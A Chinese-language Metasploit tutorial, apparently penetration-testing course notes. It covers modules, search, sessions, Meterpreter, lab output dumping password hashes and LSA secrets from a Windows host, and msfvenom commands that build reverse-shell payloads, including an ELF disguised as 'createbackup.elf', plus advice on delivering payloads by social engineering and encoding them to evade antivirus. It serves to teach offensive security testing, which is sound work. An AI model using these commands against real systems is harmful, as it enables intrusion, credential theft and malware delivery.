Metasploit

概述

Metasploit 是由 Rapid7 开发的自动化攻击框架,通过使用包含易于使用的漏洞利用选项和交付负载以在易受攻击的系统上获取 shell 的预构建模块,简化了漏洞利用的过程。

它可以使得利用易受攻击的系统变得简单,以至于一些网络安全培训机构在实验室考试中限制其使用次数。

Metasploit框架控制台

msfconsole 很可能是访问 Metasploit Framework (MSF) 最流行的界面。它提供了一个“一站式”的集中控制台,并允许您高效地访问 MSF 中几乎所有可用选项。 Msfconsole 在最初可能会显得令人望而生畏,但一旦您学会了命令的语法,您就会学会欣赏利用这个界面的强大功能。

架构

数据、文档、库

这些都是框架的基础文件。数据和库是 msfconsole 界面的功能部分,而文档文件夹包含了关于项目的所有技术细节。

模块

模块在文件夹中分为不同的类别。它们包含在以下文件夹中:

1
2
3
ls /usr/share/metasploit-framework/modules

auxiliary encoders evasion exploits nops payloads post

Metasploit modules 是已开发并经过野外测试的、具有特定目的和相应功能的准备好的脚本。 exploit 类别由所谓的概念验证( POCs )组成,可用于在很大程度上自动化的方式利用现有漏洞。许多人常常认为利用失败就证明了所怀疑的漏洞不存在。然而,这只证明 Metasploit 利用工具不起作用,而不是漏洞不存在。这是因为许多利用工具需要根据目标主机进行定制才能使利用工具起作用。因此,Metasploit 框架等自动化工具应仅被视为辅助工具,而不是我们手动技能的替代品。

一旦我们进入 msfconsole ,我们可以从包含所有可用 Metasploit 模块的 extensive 列表中选择。它们每个都结构化为文件夹,看起来是这样的:

1
<No.> <type>/<os>/<service>/<name>

例如:
1
exploit/windows/ftp/scriptftp_list

索引号

No. 标签将在我们后续搜索中显示,以选择我们想要的 exploit。我们将看到 No. 标签在稍后选择特定 Metasploit 模块时有多么有用。

类型

Type 标签是 Metasploit modules 的第一级隔离。通过查看这个字段,我们可以知道这个模块的代码将完成什么任务。其中一些 types 不能像 exploit 模块那样直接使用,例如。然而,它们被设置为与可交互的模块一起引入结构,以便更好地模块化。为了更好地解释,这里列出这个字段中可能出现的类型:

Type 类型 Description 描述
Auxiliary 扫描、模糊测试、嗅探和管理功能。提供额外的帮助和功能。
Encoders 确保有效载荷完整地到达目的地。
Exploits 定义为由漏洞利用模块,允许有效载荷交付。
NOPs (无操作码)在利用尝试中保持有效载荷大小一致。
Payloads 代码远程运行,并回调攻击者机器以建立连接(或 shell)。
Plugins 可以在评估中集成附加脚本,使用 msfconsole 共存。
Post 扩展模块用于收集信息、深入分析等。

如何搜索模块

Metasploit 还提供了一个功能完善的现有模块搜索功能。借助这个功能,我们可以使用特定的 tags 快速搜索所有模块,以找到适合我们目标的模块。

1
help search

我们还可以让搜索更加粗略,并将其减少到一个服务类别。例如,对于 CVE,我们可以指定年份( cve:<year> )、平台 Windows( platform:<os> )、我们想要找到的模块类型( type:<auxiliary/exploit/post> )、可靠性等级( rank:<rank> ),以及搜索名称( <pattern> )。这将使我们的结果仅限于所有上述条件匹配的结果。

具体搜索
1
search type:exploit platform:windows cve:2021 rank:excellent microsoft
模糊搜索
1
search eternalromance

使用模块

1
use <模块名>

编写导入模块

要安装其他用户已经移植的任何新的 Metasploit 模块,可以选择从终端更新他们的 msfconsole ,这将确保所有最新的漏洞利用、辅助工具和功能都将安装在 msfconsole 的最新版本中。只要移植的模块已经被推送到 GitHub 上的主 Metasploit-framework 分支,我们就应该更新到最新的模块。

然而,如果我们只需要特定模块并且不想进行完整升级,我们可以下载该模块并手动安装。我们将专注于在 ExploitDB 中搜索现成的 Metasploit 模块,可以直接导入到我们本地的 msfconsole 版本中。

ExploitDB 是搜索自定义漏洞的理想选择。我们可以使用标签来搜索每个可用脚本的不同利用场景。其中这些标签之一是 Metasploit Framework (MSF),如果选中,将只显示在 Metasploit 模块格式中也可用的脚本。这些可以直接从 ExploitDB 下载,并安装在我们本地的 Metasploit Framework 目录中,从这里可以在 msfconsole 中搜索和调用。

假设我们想要使用针对 Nagios3 发现的漏洞利用程序,这将利用命令注入漏洞。我们正在寻找的模块是 Nagios3 - 'statuswml.cgi' Command Injection (Metasploit) 。所以我们启动 msfconsole 并尝试搜索那个特定的漏洞利用程序,但我们找不到。这意味着我们的 Metasploit 框架没有更新,或者我们正在寻找的特定 Nagios3 漏洞利用程序模块不在 Metasploit Framework 的官方更新版本中。

我们必须下载 .rb 文件并将其放置在正确的目录中。所有模块、脚本、插件和 msfconsole 专有文件默认存储在 /usr/share/metasploit-framework 目录中。关键文件夹也链接到我们的家目录和根目录中的隐藏 ~/.msf4/ 位置。

下载完漏洞利用程序后,我们将其复制到正确的目录中。请注意,我们的家目录 .msf4 的位置可能没有 /usr/share/metasploit-framework/ 那样完整的文件夹结构。因此,我们需要 mkdir 创建相应的文件夹,以确保结构与原始文件夹相同,这样 msfconsole 才能找到新的模块。之后,我们将直接将 .rb 脚本复制到主位置。

请注意,如果未能充分遵守某些命名规范,在尝试让 msfconsole 识别我们安装的新模块时将产生错误。始终使用蛇形命名法、字母数字字符和下划线,而不是连字符。

1
cp ~/Downloads/9861.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp/nagios3_command_injection.rb
1
msf6> loadpath /usr/share/metasploit-framework/modules/

目标

Targets 是从特定操作系统版本中获取的唯一操作系统标识符,用于使选定的利用模块能够在该特定版本的操作系统上运行。在利用模块视图中发出的 show targets 命令将显示该特定利用的所有可用漏洞目标,而在根菜单中发出相同命令(在任何选定的利用模块之外)将告诉我们需要先选择一个利用模块。

MSF - 显示目标

1
show targets

MSF - 选择目标

我们可以看到,这种漏洞只有一个通用目标集。如果我们把漏洞模块更改为需要更具体目标范围的东西会怎样?以下漏洞针对的是:
MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability.

如果我们想了解更多关于这个特定模块及其背后的漏洞信息,我们可以使用 info 命令。这个命令在我们不确定不同漏洞或辅助模块的来源或功能时能帮我们大忙。记住,始终建议我们审计代码以检查任何生成物或“附加功能”,因此在使用新模块时, info 命令应该是我们采取的第一步。

有效载荷

A Payload 在 Metasploit 中指的是一个辅助利用模块的模块,通常用于向攻击者返回一个 shell。载荷与利用模块一起发送,以绕过易受攻击服务( exploits job )的标准功能流程,然后在目标操作系统上运行,通常用于向攻击者返回一个反向连接并建立立足点( payload's job )。

Metasploit 框架中有三种不同的有效载荷模块:单模块、引导模块和阶段模块。使用三种有效载荷交互类型将对渗透测试人员有益。它可以提供我们执行某些类型任务所需的灵活性。有效载荷是否是阶段化的由有效载荷名称中的 / 表示。

种类

Singles 单模块

一个 Single 有效载荷包含针对选定任务的漏洞利用程序和整个 shellcode。内联有效载荷在设计上比其对应物更稳定,因为它们将所有内容集成在一起。然而,某些漏洞利用程序可能不支持这些有效载荷产生的结果大小,因为它们可能会变得相当大。 Singles 是自包含的有效载荷。它们是发送到目标系统并执行的唯一对象,在运行后立即给我们结果。单个有效载荷可以简单到向目标系统添加用户或启动一个进程。

Stagers 引导模块

Stager 有效载荷与 Stage 有效载荷协同工作以执行特定任务。一个 stager 在受害者机器上运行,并初始化到攻击者监听器的出站连接,建立后续阶段有效载荷传输的通信信道。Stagers 通常设计得小巧且可靠。Metasploit 将自动选择最适合给定场景的 stager,并在必要时回退到不太优选的一个。

Stages 阶段模块

Stages 是 stager 模块下载的有效载荷组件。各种有效载荷阶段提供无大小限制的高级功能,例如 Meterpreter、VNC 注入等。有效载荷阶段自动使用中间 stagers:

  • 单个 recv() 在大型有效载荷时失败
  • Stager 接收中间 stager
  • 中间的 Stager 然后执行完整下载
  • 也更适合 RWX

    描述

    | Payload 有效载荷 | Description 描述 |
    | ————————————————- | —————————————————————————————————————————————————————— |
    | generic/custom | Generic listener, multi-use
    通用监听器,多用途 |
    | generic/shell_bind_tcp | Generic listener, multi-use, normal shell, TCP connection binding
    通用监听器,多用途,标准 shell,TCP 连接绑定 |
    | generic/shell_reverse_tcp | Generic listener, multi-use, normal shell, reverse TCP connection
    通用监听器,多用途,标准 shell,反向 TCP 连接 |
    | windows/x64/exec | Executes an arbitrary command (Windows x64)
    执行任意命令(Windows x64) |
    | windows/x64/loadlibrary | Loads an arbitrary x64 library path
    加载任意 x64 库路径 |
    | windows/x64/messagebox | Spawns a dialog via MessageBox using a customizable title, text & icon
    通过 MessageBox 生成对话框,可自定义标题、文本和图标 |
    | windows/x64/shell_reverse_tcp | Normal shell, single payload, reverse TCP connection
    普通 Shell,单个有效载荷,反向 TCP 连接 |
    | windows/x64/shell/reverse_tcp | Normal shell, stager + stage, reverse TCP connection
    普通 Shell,分阶段 + 阶段,反向 TCP 连接 |
    | windows/x64/shell/bind_ipv6_tcp | Normal shell, stager + stage, IPv6 Bind TCP stager
    普通 shell,stager + stage,IPv6 绑定 TCP stager |
    | windows/x64/meterpreter/$ | Meterpreter payload + varieties above
    Meterpreter 有效载荷 + 上述类型 |
    | windows/x64/powershell/$ | Interactive PowerShell sessions + varieties above
    交互式 PowerShell 会话 + 上述类型 |
    | windows/x64/vncinject/$ | VNC Server (Reflective Injection) + varieties above
    VNC 服务器(反射注入)+ 以上各种 |

    数据库

    Databasesmsfconsole 中用于跟踪您的结果。在更复杂的机器评估期间,甚至在整个网络中,由于搜索结果、入口点、检测到的问题、发现的凭据等的 sheer 数量,事情可能会变得有些模糊和复杂,这并不神秘。

这是数据库发挥作用的地方。 Msfconsole 对 PostgreSQL 数据库系统提供了内置支持。有了它,我们可以直接、快速、轻松地访问扫描结果,并具有与第三方工具协同导入和导出结果的能力。数据库条目还可以用于使用现有的发现直接配置 Exploit 模块参数。

插件

插件是第三方已经发布并由 Metasploit 创作者批准集成到框架中的软件。这些可以是具有 Community Edition 免费使用但功能有限的商业产品,也可以是个人开发的项目。

插件的使用让渗透测试人员的工作更加轻松,将知名软件的功能引入 msfconsole 或 Metasploit Pro 环境。而之前,我们需要在不同软件之间切换以导入和导出结果,反复设置选项和参数,现在,通过使用插件,msfconsole 会自动将所有内容记录到我们使用的数据库中,主机、服务和漏洞一目了然供用户查看。插件直接与 API 交互,可用于操作整个框架。它们可用于自动化重复任务、向 msfconsole 添加新命令,并扩展已经非常强大的框架。

使用插件

要开始使用插件,我们需要确保它在我们的机器上的正确目录中安装。导航到 /usr/share/metasploit-framework/plugins ,这是每个新安装的 msfconsole 的默认目录,应该会显示我们有可用的哪些插件:

1
ls /usr/share/metasploit-framework/plugins

会话

MSFconsole 可以同时管理多个模块。这是它为用户提供如此多灵活性的众多原因之一。这是通过使用 Sessions 实现的,它为所有已部署的模块创建了专用的控制界面

一旦创建了几个会话,我们可以在它们之间切换,并将不同的模块链接到其中一个后台会话以在其上运行,或者将它们转换为作业。请注意,一旦会话被置于后台,它将继续运行,并且我们的目标主机的连接将保持持续。然而,如果有效负载运行期间发生故障,会话可能会死亡,导致通信通道被拆除。

使用会话

在 msfconsole 中运行任何可用的漏洞利用程序或辅助模块时,只要它们与目标主机形成通信通道,我们就可以将会话置于后台。这可以通过按 [CTRL] + [Z] 键组合或(在 Meterpreter 阶段的情况下)输入 background 命令来完成。这将提示我们进行确认。接受提示后,我们将返回 msfconsole 提示符( msf6 > ),并可以立即启动另一个模块。

列出活动会话

我们可以使用 sessions 命令查看当前活动的会话。

1
2
3
4
5
6
7
8
sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ MS01 10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)

与会话交互

可以使用 sessions -i [no.] 命令来打开特定会话。

1
2
3
4
sessions -i 1
[*] Starting interaction with 1...

meterpreter >

编码

假设我们需要为 existing payload 选择一个编码器。那么,我们可以在 msfconsole 中使用 show encoders 命令来查看当前 Exploit module + Payload 组合下有哪些可用的编码器。

1
2

msf6 exploit(windows/smb/ms17_010_eternalblue) > show encoders

Meterpreter

Meterpreter 负载是一种特定类型的、多方面且可扩展的负载,它使用 DLL injection 来确保与受害者主机的连接稳定且难以通过简单的检查检测,并且可以配置为在重启或系统更改时保持持久性。此外,Meterpreter 完全驻留在远程主机的内存中,不会在硬盘上留下任何痕迹,这使得它难以通过传统的法证技术检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
meterpreter > help

Core Commands
=============

Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel

MSF - 会话处理

我们可以轻松地决定运行本地漏洞利用建议器模块,将其附加到当前活动的 Meterpreter 会话。为此,我们将当前 Meterpreter 会话置于后台,搜索所需的模块,并将 SESSION 选项设置为 Meterpreter 会话的索引号,将模块绑定到它。

1
2
3
meterpreter > bg

Background session 1? [y/N] y

MSF - Dumping Hashes

1
2
3
4
5
6
7
8
9
hashdump

Administrator:500:c74761604a24f0dfd0a9ba2c30e462cf:d6908f022af0373e9e21b8a241c86dca:::
ASPNET:1007:3f71d62ec68a06a39721cb3f54f04a3b:edc0d5506804653f58964a2376bbd769:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_GRANPA:1003:a274b4532c9ca5cdf684351fab962e86:6a981cb5e038b2d8b713743a50d89c88:::
IWAM_GRANPA:1004:95d112c4da2348b599183ac6b1d67840:a97f39734c21b3f6155ded7821d04d16:::
Lakis:1009:f927b0679b3cc0e192410d9b0b40873c:3064b6fc432033870c6730228af7867c:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:8ed3993efb4e6476e4f75caebeca93e6:::
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
lsa_dump_sam

[+] Running as SYSTEM
[*] Dumping SAM
Domain : GRANNY
SysKey : 11b5033b62a3d2d6bb80a0d45ea88bfb
Local SID : S-1-5-21-1709780765-3897210020-3926566182

SAMKey : 37ceb48682ea1b0197c7ab294ec405fe

RID : 000001f4 (500)
User : Administrator
Hash LM : c74761604a24f0dfd0a9ba2c30e462cf
Hash NTLM: d6908f022af0373e9e21b8a241c86dca

RID : 000001f5 (501)
User : Guest

RID : 000003e9 (1001)
User : SUPPORT_388945a0
Hash NTLM: 8ed3993efb4e6476e4f75caebeca93e6

RID : 000003eb (1003)
User : IUSR_GRANPA
Hash LM : a274b4532c9ca5cdf684351fab962e86
Hash NTLM: 6a981cb5e038b2d8b713743a50d89c88

RID : 000003ec (1004)
User : IWAM_GRANPA
Hash LM : 95d112c4da2348b599183ac6b1d67840
Hash NTLM: a97f39734c21b3f6155ded7821d04d16

RID : 000003ef (1007)
User : ASPNET
Hash LM : 3f71d62ec68a06a39721cb3f54f04a3b
Hash NTLM: edc0d5506804653f58964a2376bbd769

RID : 000003f1 (1009)
User : Lakis
Hash LM : f927b0679b3cc0e192410d9b0b40873c
Hash NTLM: 3064b6fc432033870c6730228af7867c

MSF - Meterpreter LSA 密钥库信息泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
meterpreter > lsa_dump_secrets

[+] Running as SYSTEM
[*] Dumping LSA secrets
Domain : GRANNY
SysKey : 11b5033b62a3d2d6bb80a0d45ea88bfb

Local name : GRANNY ( S-1-5-21-1709780765-3897210020-3926566182 )
Domain name : HTB

Policy subsystem is : 1.7
LSA Key : ada60ee248094ce782807afae1711b2c

Secret : aspnet_WP_PASSWORD
cur/text: Q5C'181g16D'=F

Secret : D6318AF1-462A-48C7-B6D9-ABB7CCD7975E-SRV
cur/hex : e9 1c c7 89 aa 02 92 49 84 58 a4 26 8c 7b 1e c2

Secret : DPAPI_SYSTEM
cur/hex : 01 00 00 00 7a 3b 72 f3 cd ed 29 ce b8 09 5b b0 e2 63 73 8a ab c6 ca 49 2b 31 e7 9a 48 4f 9c b3 10 fc fd 35 bd d7 d5 90 16 5f fc 63
full: 7a3b72f3cded29ceb8095bb0e263738aabc6ca492b31e79a484f9cb310fcfd35bdd7d590165ffc63
m/u : 7a3b72f3cded29ceb8095bb0e263738aabc6ca49 / 2b31e79a484f9cb310fcfd35bdd7d590165ffc63

Secret : L$HYDRAENCKEY_28ada6da-d622-11d1-9cb9-00c04fb16e75
cur/hex : 52 53 41 32 48 00 00 00 00 02 00 00 3f 00 00 00 01 00 01 00 b3 ec 6b 48 4c ce e5 48 f1 cf 87 4f e5 21 00 39 0c 35 87 88 f2 51 41 e2 2a e0 01 83 a4 27 92 b5 30 12 aa 70 08 24 7c 0e de f7 b0 22 69 1e 70 97 6e 97 61 d9 9f 8c 13 fd 84 dd 75 37 35 61 89 c8 00 00 00 00 00 00 00 00 97 a5 33 32 1b ca 65 54 8e 68 81 fe 46 d5 74 e8 f0 41 72 bd c6 1e 92 78 79 28 ca 33 10 ff 86 f0 00 00 00 00 45 6d d9 8a 7b 14 2d 53 bf aa f2 07 a1 20 29 b7 0b ac 1c c4 63 a4 41 1c 64 1f 41 57 17 d1 6f d5 00 00 00 00 59 5b 8e 14 87 5f a4 bc 6d 8b d4 a9 44 6f 74 21 c3 bd 8f c5 4b a3 81 30 1a f6 e3 71 10 94 39 52 00 00 00 00 9d 21 af 8c fe 8f 9c 56 89 a6 f4 33 f0 5a 54 e2 21 77 c2 f4 5c 33 42 d8 6a d6 a5 bb 96 ef df 3d 00 00 00 00 8c fa 52 cb da c7 10 71 10 ad 7f b6 7d fb dc 47 40 b2 0b d9 6a ff 25 bc 5f 7f ae 7b 2b b7 4c c4 00 00 00 00 89 ed 35 0b 84 4b 2a 42 70 f6 51 ab ec 76 69 23 57 e3 8f 1b c3 b1 99 9e 31 09 1d 8c 38 0d e7 99 57 36 35 06 bc 95 c9 0a da 16 14 34 08 f0 8e 9a 08 b9 67 8c 09 94 f7 22 2e 29 5a 10 12 8f 35 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Secret : L$RTMTIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588
cur/hex : 00 f2 d1 31 e2 11 d3 01

Secret : L$TermServLiceningSignKey-12d4b7c8-77d5-11d1-8c24-00c04fa3080d

Secret : L$TermServLicensingExchKey-12d4b7c8-77d5-11d1-8c24-00c04fa3080d

Secret : L$TermServLicensingServerId-12d4b7c8-77d5-11d1-8c24-00c04fa3080d

Secret : L$TermServLicensingStatus-12d4b7c8-77d5-11d1-8c24-00c04fa3080d

Secret : L${6B3E6424-AF3E-4bff-ACB6-DA535F0DDC0A}
cur/hex : ca 66 0b f5 42 90 b1 2b 64 a0 c5 87 a7 db 9a 8a 2e ee da a8 bb f6 1a b1 f4 03 cf 7a f1 7f 4c bc fc b4 84 36 40 6a 34 f9 89 56 aa f4 43 ef 85 58 38 3b a8 34 f0 dc c3 7f
old/hex : ca 66 0b f5 42 90 b1 2b 64 a0 c5 87 a7 db 9a 8a 2e c8 e9 13 e6 5f 17 a9 42 93 c2 e3 4c 8c c3 59 b8 c2 dd 12 a9 6a b2 4c 22 61 5f 1f ab ab ff 0c e0 93 e2 e6 bf ea e7 16

Secret : NL$KM
cur/hex : 91 de 7a b2 cb 48 86 4d cf a3 df ae bb 3d 01 40 ba 37 2e d9 56 d1 d7 85 cf 08 82 93 a2 ce 5f 40 66 02 02 e1 1a 9c 7f bf 81 91 f0 0f f2 af da ed ac 0a 1e 45 9e 86 9f e7 bd 36 eb b2 2a 82 83 2f

Secret : SAC

Secret : SAI

Secret : SCM:{148f1a14-53f3-4074-a573-e1ccd344e1d0}

Secret : SCM:{3D14228D-FBE1-11D0-995D-00C04FD919C1}

Secret : _SC_Alerter / service 'Alerter' with username : NT AUTHORITY\LocalService

Secret : _SC_ALG / service 'ALG' with username : NT AUTHORITY\LocalService

Secret : _SC_aspnet_state / service 'aspnet_state' with username : NT AUTHORITY\NetworkService

Secret : _SC_Dhcp / service 'Dhcp' with username : NT AUTHORITY\NetworkService

Secret : _SC_Dnscache / service 'Dnscache' with username : NT AUTHORITY\NetworkService

Secret : _SC_LicenseService / service 'LicenseService' with username : NT AUTHORITY\NetworkService

Secret : _SC_LmHosts / service 'LmHosts' with username : NT AUTHORITY\LocalService

Secret : _SC_MSDTC / service 'MSDTC' with username : NT AUTHORITY\NetworkService

Secret : _SC_RpcLocator / service 'RpcLocator' with username : NT AUTHORITY\NetworkService

Secret : _SC_RpcSs / service 'RpcSs' with username : NT AUTHORITY\NetworkService

Secret : _SC_stisvc / service 'stisvc' with username : NT AUTHORITY\LocalService

Secret : _SC_TlntSvr / service 'TlntSvr' with username : NT AUTHORITY\LocalService

Secret : _SC_WebClient / service 'WebClient' with username : NT AUTHORITY\LocalService

MSFvenom

概述

在 Metasploit 中使用自动化攻击需要我们通过网络到达一个易受攻击的目标机器。对于 run the exploit moduledeliver the payloadestablish the shell session ,我们首先需要与系统进行通信。这可能通过在内网中存在或在一个有路由到目标所在网络的网络中实现。会有我们没有直接网络访问易受攻击的目标机器的情况。在这些情况下,我们需要在有效载荷如何被传递并在系统上执行方面变得巧妙。一种这样的方式可能是使用 MSFvenom 来制作一个有效载荷,并通过电子邮件消息或其他社交工程手段发送,以促使用户执行该文件。

除了提供具有灵活交付选项的有效载荷外,MSFvenom 还允许我们将 encrypt & encode 有效载荷用于绕过常见的反病毒检测签名

使用

我们可以使用 msfvenom -l payloads 命令列出所有可用的有效载荷。下面只是其中一些可用的有效载荷。为了缩短输出并不过分分散核心课程的注意力,已经删除了几个有效载荷。仔细查看有效载荷及其描述:

列出有效载荷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
msfvenom -l payloads

Framework Payloads (592 total) [--payload <value>]
==================================================

Name Description
---- -----------
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
linux/zarch/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
mainframe/shell_reverse_tcp Listen for a connection and spawn a command shell. This implementation does not include ebcdic character translation, so a client wi
th translation capabilities is required. MSF handles this automatically.
multi/meterpreter/reverse_http Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTP
multi/meterpreter/reverse_https Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTPS
netware/shell/reverse_tcp Connect to the NetWare console (staged). Connect back to the attacker
nodejs/shell_bind_tcp Creates an interactive shell via nodejs
nodejs/shell_reverse_tcp Creates an interactive shell via nodejs
nodejs/shell_reverse_tcp_ssl Creates an interactive shell via nodejs, uses SSL
osx/armle/execute/bind_tcp Spawn a command shell (staged). Listen for a connection
osx/armle/execute/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
osx/armle/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
osx/armle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
osx/armle/shell_bind_tcp Listen for a connection and spawn a command shell
osx/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell
osx/armle/vibrate Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded. Based on work by Charlie Miller
library has been loaded. Based on work by Charlie Miller

windows/dllinject/bind_hidden_tcp Inject a DLL via a reflective loader. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/dllinject/bind_ipv6_tcp Inject a DLL via a reflective loader. Listen for an IPv6 connection (Windows x86)
windows/dllinject/bind_ipv6_tcp_uuid Inject a DLL via a reflective loader. Listen for an IPv6 connection with UUID Support (Windows x86)
windows/dllinject/bind_named_pipe Inject a DLL via a reflective loader. Listen for a pipe connection (Windows x86)
windows/dllinject/bind_nonx_tcp Inject a DLL via a reflective loader. Listen for a connection (No NX)
windows/dllinject/bind_tcp Inject a DLL via a reflective loader. Listen for a connection (Windows x86)
windows/dllinject/bind_tcp_rc4 Inject a DLL via a reflective loader. Listen for a connection
windows/dllinject/bind_tcp_uuid Inject a DLL via a reflective loader. Listen for a connection with UUID Support (Windows x86)
windows/dllinject/find_tag Inject a DLL via a reflective loader. Use an established connection
windows/dllinject/reverse_hop_http Inject a DLL via a reflective loader. Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop
/hop.php to the PHP server you wish to use as a hop.
windows/dllinject/reverse_http Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows wininet)
windows/dllinject/reverse_http_proxy_pstore Inject a DLL via a reflective loader. Tunnel communication over HTTP
windows/dllinject/reverse_ipv6_tcp Inject a DLL via a reflective loader. Connect back to the attacker over IPv6
windows/dllinject/reverse_nonx_tcp Inject a DLL via a reflective loader. Connect back to the attacker (No NX)
windows/dllinject/reverse_ord_tcp Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_allports Inject a DLL via a reflective loader. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/dllinject/reverse_tcp_dns Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4 Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4_dns Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_uuid Inject a DLL via a reflective loader. Connect back to the attacker with UUID Support
windows/dllinject/reverse_winhttp Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows winhttp)

我们可以看到一些细节,这些细节将有助于我们进一步理解有效载荷。首先,我们可以看到有效载荷的命名约定几乎总是以列出目标操作系统开头( LinuxWindowsMacOSmainframe 等)。我们还可以看到一些有效载荷被描述为( staged )或( stageless )。

分阶段与无阶段有效载荷

分阶段载荷

Staged 载荷为我们提供了一种发送更多攻击组件的方式。我们可以将其视为为更有用的事情“布置舞台”。以这个载荷 linux/x86/shell/reverse_tcp 为例。当使用 Metasploit 中的漏洞模块运行时,这个载荷将发送一个小的 stage ,该载荷将在目标上执行,然后回调 attack box 通过网络下载剩余的载荷,然后执行 shellcode 以建立反向 shell。当然,如果我们使用 Metasploit 运行这个载荷,我们需要配置选项以指向正确的 IP 和端口,以便监听器能够成功捕获 shell。请记住,阶段也会占用内存空间,从而为载荷留下更少的空间。每个阶段发生的事情可能因载荷而异。

无阶段载荷

Stageless 载荷没有阶段。例如 linux/zarch/meterpreter_reverse_tcp 这个载荷。使用 Metasploit 中的漏洞利用模块,这个载荷将完整地通过网络连接发送,没有阶段。这在带宽有限且延迟可能造成干扰的环境中对我们有利。在这样环境中,分阶段载荷可能导致不稳定的 shell 会话,因此最好选择无阶段的载荷。此外,由于执行载荷时网络中传输的流量较少,无阶段载荷有时在规避方面更好,特别是如果我们通过社会工程学来传递它。这个概念在 Rapid 7 关于无阶段 Meterpreter 载荷的博客文章中也有很好的解释。

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf

编码器

Encoders 协助使载荷与不同的处理器架构兼容,同时帮助进行反病毒规避。 Encoders 在改变载荷以在不同操作系统和架构上运行的角色中发挥作用。这些架构包括:

x64 x86 sparc ppc mips

它们还需要从有效载荷中移除名为 bad characters 的十六进制指令码。不仅如此,如上所述,以不同的格式编码有效载荷可能有助于规避 AV 检测。然而,专门用于 AV 规避的编码器的使用随着时间的推移而减少,因为 IPS/IDS 制造商已经改进了他们的保护软件处理恶意软件和病毒签名的方式。

选择编码器

1
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai